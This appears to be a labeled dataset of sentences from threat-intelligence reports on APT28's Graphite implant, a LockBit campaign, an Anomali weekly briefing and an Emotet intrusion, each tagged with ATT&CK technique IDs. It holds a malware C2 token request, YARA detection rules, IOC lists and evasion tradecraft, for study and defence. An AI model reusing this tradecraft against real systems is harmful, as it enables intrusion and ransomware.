{"sentence": "To obtain a new OAuth2 token to access the service, the endpoint login[.]microsoftonline[.]com/common/oauth2/v2.0/token is contacted using a fixed client ID (62272a08-fe9d-4825-bc65-203842ff92bc), as evidence below: The following is the full HTTP request to make the first connection to the C&C. HTTP REQUEST POST https://login.microsoftonline.com/common/oauth2/v2.0/token HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET", "labels": ["T1071.001"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "CLR 3.5.30729)Content-Type: application/x-www-form-urlencodedHost: login.microsoftonline.comContent-Length: 459Connection: Keep-AliveCache-Control: no-cacheclient_id=62272a08-fe9d-4825-bc65-203842ff92bc&redirect_uri=urn:ietf:wg:oauth:2.0:oob&refresh_token=M.R3_BAY.-CVmbPSAFzt2n5JiYAwjQRpC6Yh*f45Zsz9XKTHMo4G1ZeR0UDVRbJhp8T7Df*ARh8tTfRKRZZ8YzFEYMRJ!VPP!GJPZsfeTb0SMIF!gXQ0sUli*gTjLrdaTxOnwndJcUIqtbY8D8ZCFI4lC3pEE3KW7ED!svw*kKb1rojgehD1Sa70lDuVa86awTeZrh8lyBh9m9vdudqoqVNLyRpLyHd*di1s2G6ub9MjH9BVoDVrDaqmJvUsMonxqqhqx!iwwU1ptzd1WngCv9BCmVtxgFTJBPR1bJ2Ze17e0N6W3VHZC2FQOOUhu4nQ2Wrj0qLEBowQ$$&grant_type=refresh_token Once obtained a new OAuth2 token, the Graphite malware will query the Microsoft GraphAPIs for new commands by enumerating the child files in the check OneDrive subdirectory.", "labels": ["T1083"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "If a new file is found, the content is downloaded and decrypted through an AES-256-CBCdecryption algorithm.", "labels": ["T1140"], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "The monitoring of task executions and the uploading of their results is managed through a dedicated thread.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Finally, the malware allows remote command execution by allocating a new region of memory and executing the received shellcode by calling a new dedicated thread.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "CONCLUSIONS", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "According to extracted metadata, attackers worked on the preparation of the campaign between January and February 2022.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "However, both URLs used by attackers appared active even recently (Q3 2022).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "In addition could be interesting to note that, according to the visibility we can dispose of, limited telemetry hits related to the collected artifacts have been catched on 25/08/2022 and 09/09/2022 from two countries of the European Union (we have no data available before 25/08/2022).", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Such recent evidence could suggest some sort of activities still ongoing linked to the described threat or to some of its variants.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Finally, based on several indicators, geopolitical objectives and the analyzed artifacts, Cluster25 attributes this campaign to the Russia-linked threat actor known as APT28 (aka Fancy Bear, TSAR Team, Pawn Storm, Sednit) and indicates entities and individuals operating in the defense and government sectors of Europe and Eastern Europe countries as potential targets.", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "ATT&CK MATRIX TACTIC TECHNIQUE DESCRIPTION Initial Access T1566.001 Phishing: Spearphishing Attachment Execution T1059.001 Command and Scripting Interpreter:", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "= \"local.lnk\" fullword wide$s2 = \"lmapi2.dll\" fullword wide$s3 = \"rundll32.exe\" fullword wide$s4 = \"InProcServer32\" fullword wide$s5 = \"DownloadData\" fullword wide$s6 = \"SyncAppvPublishingServer\" fullword widecondition: ($magic at 0) and (all of ($s*)) and filesize < 10MB } YARA rule APT28_Graphite_62333_00028 :", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "RUSSIAN THREAT GROUP {meta:description = \"Detects Fancy Bear Graphite variant through internal strings\"author = \"Cluster25\"tlp = \"white\"hash1 = \"34aca02d3a4665f63fddb354551b5eff5a7e8877032ddda6db4f5c42452885ad\"strings:$ = \"_LL_x64.dll\" fullword ascii$ = \"qqhqx!iwwU1ptzd1WngCv9BCmVtxgFTJBPR1bJ2Ze17e0N6W3VHZC2FQOOUhu4nQ2Wrj0qLEBowQ$$\" ascii$ = \"62272a08-fe9d-4825-bc65-203842ff92bc\" fullword ascii$ = \"%s %04d sp%1d.%1d %s\" fullword asciicondition:uint16(0) == 0x5a4d andfilesize < 100KB andall of them}", "labels": [], "doc_title": "In the footsteps of the Fancy Bear PowerPoint mouseover event abused to deliver Graphite implants"}
{"sentence": "Can You See It Now?", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "An Emerging LockBit Campaign url: https://www.fortinet.com/blog/threat-research/emerging-lockbit-campaign FortiGuard Labs has observed a new LockBit ransomware campaign during last December and January using a combination of techniques effective against AV and EDR solutions.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "LockBit has been one of the more dangerous ransomware, active since 2019.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "It was part of several successful attacks against a large variety of industries, including critical infrastructure.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Overview Descriptions of the attack refer to the stages outlined in Figure 1 below.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The attack starts with a .img container (1) and a social engineering technique of displaying a single file once it’s mounted while hiding the rest of its files from the user.", "labels": ["T1564.001"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "It can also cause malware analysts to miss the payloads while examining the samples manually.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 1: Campaign execution stages", "labels": ["T1204.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The user is then prompted to open the single visible shortcut (2) file.", "labels": ["T1204.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "FIgure 2: Contents of the .img file, including the hidden files", "labels": ["T1564.001"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "In some of the cases that we’ve observed, a python script is executed (2.1) using the official Python embed package.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The only purpose of the script is to run the subsequent BAT scripts.", "labels": ["T1059.003"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Some variants used a known UAC bypass method abusing the legitimate fodhelper.exe (3.1).", "labels": ["T1548.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 3: UAC bypass implementation.", "labels": ["T1059.003", "T1548.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The BAT script (4) does several things: 1. Changes the password of the logged-in user.", "labels": ["T1059.003"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "2. Copies its files to C:\\ProgramData.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "3. Ensures that after the system reboots, it logs in without user interaction (using SysInternals Autologon).", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "4. Tries to - a. Set the next reboot to be in Safe Mode using bcdedit.exe.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "b. Register a new service that will run its VBS script (4.1) using sc.exe.", "labels": ["T1543.003", "T1569.002"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "c. Sets the service to run also in Safe-Mode using reg.exe.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "If it fails, it sets in the registry a BAT file (4.2) to be run on logon as another UI shell by Winlogon.", "labels": ["T1059.003", "T1112"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 4: Persistence of the BAT file (4.2).", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The ransomware executable resides within a password-protected archive.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "The script that runs after boot executes another BAT script (4.3) to extract the ransomware payload.", "labels": ["T1059.003"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Figure 5: Command inside BAT script (4.3) decrypting and running the ransomware The final payload is LockBit.", "labels": ["T1140"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Analysts from TrendMicro have published an analysis of the ransomware.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Targeting focuses on Spanish-speaking victims – all samples target Mexican or Spanish firms, mainly in the consulting and law sectors.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Ransomware note: Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom You can contact us and decrypt one file for free on this TOR site (you should download and install TOR browser first https://torproject.org) http://<onion address> Your company id for log in: <unique id> Evasive Tradecraft The detection rate of the samples in VirusTotal was a minimal single digit, with some completely undetected, suggesting the campaign’s methods are effective in defense evasion.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Delivery through a .img container bypasses the Mark of The Web (MOTW) protection mechanism.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Multi-stage scripts that extract a password-protected ransomware executable, which is unpacked only when run with a unique password, allow evading traditional signature-based detection.", "labels": ["T1027"], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "This allows for minimal reliance on custom code, trimming development costs, and staying under the radar of EDRs.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Summary This campaign’s highly evasive nature demonstrates that attackers continue to leverage increasingly obscure methodologies to avoid detection.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "This unique combination of executables wasn’t seen in previous LockBit attacks.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "These payloads may be related to the LockBit builder leak in late 2022.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Other cybercriminals would want to associate themselves with the deterrence already afforded by past acts of LockBit.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Fortinet Solutions FortiEDR detects and blocks these threats out of the box without any prior knowledge or special configuration.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "It does this using its post-execution prevention engine to identify malicious activities: Figure 7: FortiEDR blocking the ransomware.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "All network IOCs have been added to the FortiGuard WebFilter blocklist.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "FortiGuard Antivirus has coverage in place as follows: W32/Lockbit.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real-time with other Alliance members to help create better protections for customers.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard AI-powered security services portfolio.", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Appendix A: MITRE ATT&CK Tactics and Techniques Tactic \\ Technique ID Description TA0002 Execution T1059.003 Command and Scripting Interpreter:", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Windows Command Shell T1059.005 Command and Scripting Interpreter:", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "Visual Basic T1059.006 Command and Scripting Interpreter: Python T1204.002 User Execution: Malicious File TA0003 Persistence T1547.004 Boot or Logon Autostart Execution: Winlogon Helper DLL T1053.005 Scheduled Task/Job: Scheduled Task T1543.003 Create or Modify System Process: Windows Service TA0005 Defense Evasion T1553.005 Subvert Trust Controls: Mark-of-the-Web Bypass T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control T1027.002 Obfuscated Files or Information: Software Packing T1562.009 Impair Defenses: Safe Mode Boot TA0040 Impact T1486 Data Encrypted for Impact T1529 System Shutdown/Reboot APPENDIX B: IoCs IMG SHA256 1ef3ae251833be08b6f3e525969ae02c28cb0238e3adb3091e572a10633f7ef7 dad61d9f919a9cc84ae633e948946e7546b21dc4d9d47d19d96fd308c7de40cb d73bcd2e29191b260a26d87c3035bde33163cc319649291db9f04c48c94da896 ee2b182a56ded459a113513985ff624631a9515c7efa2282708483ace640eb3a dca325a0028dc8e41dcf739cd00701a19066fc88c0d22be5316f7a4b7b219fe8 35bf036bf46fa21f3354d60a2c50d2959e1e9193bec8364575dc3fd4644732ae 781ead305cdb5fa0153369431dedd40fe138308fcdf5dfda1cfeaaba296752e3 1ef3ae251833be08b6f3e525969ae02c28cb0238e3adb3091e572a10633f7ef7 dad61d9f919a9cc84ae633e948946e7546b21dc4d9d47d19d96fd308c7de40cb d73bcd2e29191b260a26d87c3035bde33163cc319649291db9f04c48c94da896 ee2b182a56ded459a113513985ff624631a9515c7efa2282708483ace640eb3a dca325a0028dc8e41dcf739cd00701a19066fc88c0d22be5316f7a4b7b219fe8 35bf036bf46fa21f3354d60a2c50d2959e1e9193bec8364575dc3fd4644732ae 781ead305cdb5fa0153369431dedd40fe138308fcdf5dfda1cfeaaba296752e3 1858a862390adcaa4cea6782e7dba077697475ff9ada9d75c4897ccd563998af Ransomware Executables SHA256 Name cb049c6e59106bbdfd804a9d02bb31ea09a3918018cbb97fb12d2bcf9e475465 documentos.exe 334148a7434f4fd27dcc6600edc2f29e4f11ada0be9f71f807cbd4154abd74be documentos.exe fd3577ff36496320485ffa05681ffa516a56fc4818c3fc89774aa4bb20e2c17f documentos.exe 8465c979990e75262d15e93453287d6107f008035d6d6a05bd3a92c2e3fe1d40 HacAK.exe 40828437094a02ab467a0c0343d08c110d3b0c2972b609bcdd355667614209f EMJgp.exe 50f49ac742a127085e0a824bcae7e25326ea0ef0741f0abe34ce494f2c4ef4d2 byhHI.exe cc58dcd32a440e7f95d19b653a55c1e2c383efc2bd19443238dd3008c1cbe147 bOpDX.exe 6eb6431dcfb1e7105fb05e2d8b01e231f6d4b82a1df3639499d0adacd00757cc gVozH.exe Domains poliovocalist[.]com IPs 198.244.187[.]248 150.129.218[.]231 LockBit Portal URLs hxxp://lockbit3jx6je7tm6hhm6zzafgy6hpil3ur6jmc2a4ugan7xzztv6oqd[.]onion hxxp://lockbitdvbpfczc3yrs37kpp6avnrgr7yygi2f45qxvef2yqi36lpxyd[.]onion hxxp://lockbit3hc6syym13ki2ag5jskr6q5qa3spspjpmtfhh6fufut737zid[.]onion hxxp://lockbitov3afmxgknfhk2o5d4uqrhygd7ty3xqm56qd6zjlu6u43pgyd[.]onion", "labels": [], "doc_title": "Can You See It Now An Emerging LockBit Campaign"}
{"sentence": "WTB:", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Remote Mac Exploitation Via Custom URL Schemes url: https://www.anomali.com/blog/wtb-remote-mac-exploitation-via-custom-url-schemes The intelligence in this week’s iteration discuss the following threats: Anonymous, Apache Struts vulnerability, BusyGasper, Cobalt Gang, DarkComet, DDoS, Loki Bot, Spear phishing, and WINDSHIFT APT.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Trending Threats Remote Mac Exploitation Via Custom URL Schemes (August 30, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "An obscure Advanced Persistent Threat (APT) called WINDSHIFT has been seen exploiting a flaw in macOS to target government institutions in the Middle East in what appears to be the 1st-stage of a 2nd-stage cyber campaign.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This 1st-stage attack is intended to gain initial access into a fully patched macOS system to pave the way for the 2nd-stage attack in the future.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The malware exploits custom URL schemes in the Safari browser to remotely infect macOS targets.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This requires a minimal amount of user interaction, but this can be \"influenced\" by the APT group as needed.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This 1st-stage attack takes advantage of the way macOS registers document handlers and custom URL schemes to automatically unzip a malicious attachment sent via phishing emails in the Safari browser.", "labels": ["T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The malware can then load the custom URL on the user’s computer so the threat actor can then have access to a system.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Launch Daemon (T1160)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The threat group, Cobalt Gang (also known as TEMP.Metastrike), is suspected to be engaging in attacks against financial organizations in several countries.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The malicious attachments are either a Word document that contains obfuscated VBA scripts or a binary with a JPG extension.", "labels": ["T1027"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Both send information to command and control (C2) servers that are owned by Cobalt Group.", "labels": ["T1041"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] CMSTP (T1191) |", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK]", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Spearphishing Attachment (T1193) Cryptojackers Exploit Critical Apache Struts Flaw (August 30, 2018) Security experts from Volexity have recently seen a critical Apache Strut vulnerability being exploited in the wild to install a popular cryptocurrency miner on targeted machines.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Third-party Software (T1072) Anonymous Catalonia Claims DDoS Attack On Bank of Spain Website (August 30, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The hacktivist group, Anonymous Catalonia claimed a Distributed Denial of Service (DDoS) attack on Banco de España which forced the bank’s website to be offline and unusable for two days.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The group claimed the attack via Twitter using the hashtag “TangoDown” to indicate the bank’s hosting server was down globally.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The hacktivist group targeted the bank, amongst others, to protest the arrests of Catalan leaders who took part in the illegal Independence referendum last year.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Banco de España stated that while their website was down, none of their normal functionalities were impacted.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Unusual login behavior was detected between August 22 and 24, 2018, and the airline proceeded to block further access.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The other data compromised in this breach, which is more worrying, includes passport numbers, NEXUS numbers (allows for quicker access over some borders), traveler numbers, gender, date of birth, nationality, passport expiry date, country of issuance, and country of residence.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Click here for Anomali recommendation BusyGasper – The Unfriendly Spy (August 29, 2018) Security researchers from Kaspersky Lab uncovered a new family of spyware, dubbed “BusyGasper,” that targets Android devices.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The malware can deliver payloads from the command and control (C2) server which originates from a free Russian web hosting service called Ucoz.", "labels": ["T1105"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This malware is more unusual than most because it appears that the initial attack vector requires the threat actor to physically install the malware on the target’s device, meaning the threat actor needs to actually get a hold of the device somehow.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Due to the close physical proximity to the target device, researchers have only seen fewer than ten victims and they are all located within Russia.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Researchers from Kaspersky Labs have discovered a malspam campaign pushing the Loki Bot malware through phishing emails.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The emails have targeted corporate businesses using three possible types of messages to try to get a target to open the email and malicious attachment.", "labels": ["T1204.002", "T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The threat actors either created fake emails from real companies (usually related to money payments/invoices or shipping statements), fake emails containing financial documents to be looked at, or fake emails containing false order statements or offers for providing services.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "If a target opens the malicious attachment, the Loki Bot malware then can assist in the threat actors gaining access to intellectual property, databases, bank account information, system credentials and more.", "labels": ["T1204.002", "T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This vulnerability escalates a flaw in the operating system’s task scheduler’s Advanced Local Procedure Call (ALPC).", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This vulnerability allows for a threat actor to obtain system privileges and currently has no known workarounds for the vulnerability.", "labels": ["T1068"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Microsoft released a statement that it will release a patch for it next month.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "SandboxEscaper attempted to sell the vulnerability on Reddit, but the posts were removed, though it is unclear whether a sale was made before the removal of the posts.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Exploitation for Privilege Escalation (T1068)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "We're All Sick Of Fortnite, But The Flaw Found In Its Downloader Is The Latest Way To Attack Android (August 29, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The Android version of popular game, Fortnite, has been discovered to contain a vulnerability that could allow for a “man-in-the-disk” attack.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This type of attack works by using the ability to read/write data to external storage to gain access to files in the external storage and modify them with malicious data.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "For the Android version of Fortnite, users are required to download the game through a helper application which is then supposed to download the game file for the device.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "A threat actor can use “man-in-the-disk” to get the user to download a malicious “helper application” instead, allowing the threat actor access to the device.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Replication Through Removable Media (T1091) |", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Hardware Additions (T1200) Beware Of Fake \"Shipping Docs\"", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Malspam Pushing The DarkComet RAT (August 28, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Security researcher Vishal Thakur has discovered a malware campaign that sends emails pretending to be related to a shipment notice for the target which contain a malicious attachment.", "labels": ["T1566.001"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "DarkComet then allows for threat actors to obtain logs of the infected machine’s keystrokes, application use, and take screenshots, amongst other things.", "labels": ["T1056.001", "T1113"], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Remote Access Tools (T1219) CeidPageLock: A Chinese RootKit (August 28, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "A new version of the browser-hijacking rootkit called “CEIDPageLock” has been found being distributed by the RIG Exploit kit by Check Point researchers.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "CEIDPageLock attempts to manipulate a user’s browser and turn their homepage to a Chinese web directory, 2435.com.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "This new version of the malware monitors user’s browsing data and replaces the content of popular Chinese sites with the fake homepage of 2345.com.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Threat actors can then monitor what sites victims go to and how long they are on each website to potentially lead targeted advertisement campaigns or sell that information to other companies.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Most of the victims originated in China, however, other victims located in the UK, Taiwan, Hong Kong, the US, Denmark, and Japan were also observed.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "CEIDPageLock is most likely distributed via the RIG’s landing page which exploits a browser vulnerability to gain code execution.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "From there, the malware dropper is downloaded then extracts the driver from within itself and saves it in the “\\\\Windows\\\\Temp” directory with the filename “houzi.sys.”", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The dropper then starts the malicious 32-bit driver that connects to the command and control (C2) hard-coded domains to download the specific 2345.com homepage configuration.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Rootkit (T1014) |", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "[MITRE ATT&CK] Kernel Modules and Extensions (T1215) |", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Abbyy Leaked 203,000 Sensitive Customer Documents In Server Lapse (August 27, 2018)", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The maker of an optical recognition software, Abbyy, suffered a breach of sensitive customer data because of a database server that was left unsecured without a password on the Internet.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The company’s MongoDB server was misconfigured in such a way that allowed for over 203,000 sensitive documents dating back to 2012 up to the present to be publicly accessible.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "The server was taken offline after it was privately disclosed within the company.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Click here for Anomali recommendation Observed Threats This section includes the top threats observed from the Anomali Community user base as well as sensors deployed by Anomali Labs.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Click here to request a trial.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Additional information regarding the threats discussed in this week’s Community Threat Briefing can be found below: Spear Phishing Spear phishing is a tactic in which a threat actor targets a specific business, individual, or organization via email or another form of electronic communication while tricking the recipient into thinking the email originated from an authentic source.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Spear phishing is used by all levels of threat actors, including Advanced Persistent Threat (APT) groups.", "labels": [], "doc_title": "WTB Remote Mac Exploitation Via Custom URL Schemes"}
{"sentence": "Dead or Alive?", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "An Emotet Story url: https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/ In this intrusion from May 2022, we observed a domain-wide compromise that started from a malware ridden Excel document containing the never-dying malware, Emotet.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The post-exploitation started very soon after the initial compromise.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "After a successful takedown thanks to Interpol and Eurojust efforts, Emotet was resurrected in November 2021 with the help of Trickbot malware.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Since then, Emotet has been testing different initial access payloads while its developers were busy improving the core functionality of the actual malware.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Since January 2022 we observed an increase in the activity of Cobalt Strike deployments following Emotet intrusions.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "Case Summary Back in May, we witnessed an intrusion that started from a phishing email which included Emotet.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
{"sentence": "The intrusion lasted four days and contained many of the usual suspects, including the Cobalt Strike post-exploitation framework.", "labels": [], "doc_title": "Dead or Alive An Emotet Story"}
